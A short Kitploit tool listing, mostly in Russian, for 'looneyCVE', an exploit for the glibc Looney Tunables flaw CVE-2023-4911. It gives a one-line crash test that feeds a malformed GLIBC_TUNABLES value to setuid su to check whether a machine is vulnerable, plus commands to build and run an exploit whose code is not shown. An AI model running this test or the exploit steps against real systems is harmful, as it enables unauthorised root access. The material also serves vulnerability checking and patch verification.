looneyCVE — Looney Tunables CVE-2023-4911 | Kitploit

Проверьте версию glibc

ldd --version

Проверьте, уязвима ли машина к Looney Tunables CVE-2023-4911

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

Если мы получаем Segmentation fault (core dumped), значит машина уязвима.

python3 libc.py

gcc -o exp exp.c
./exp

looneyCVE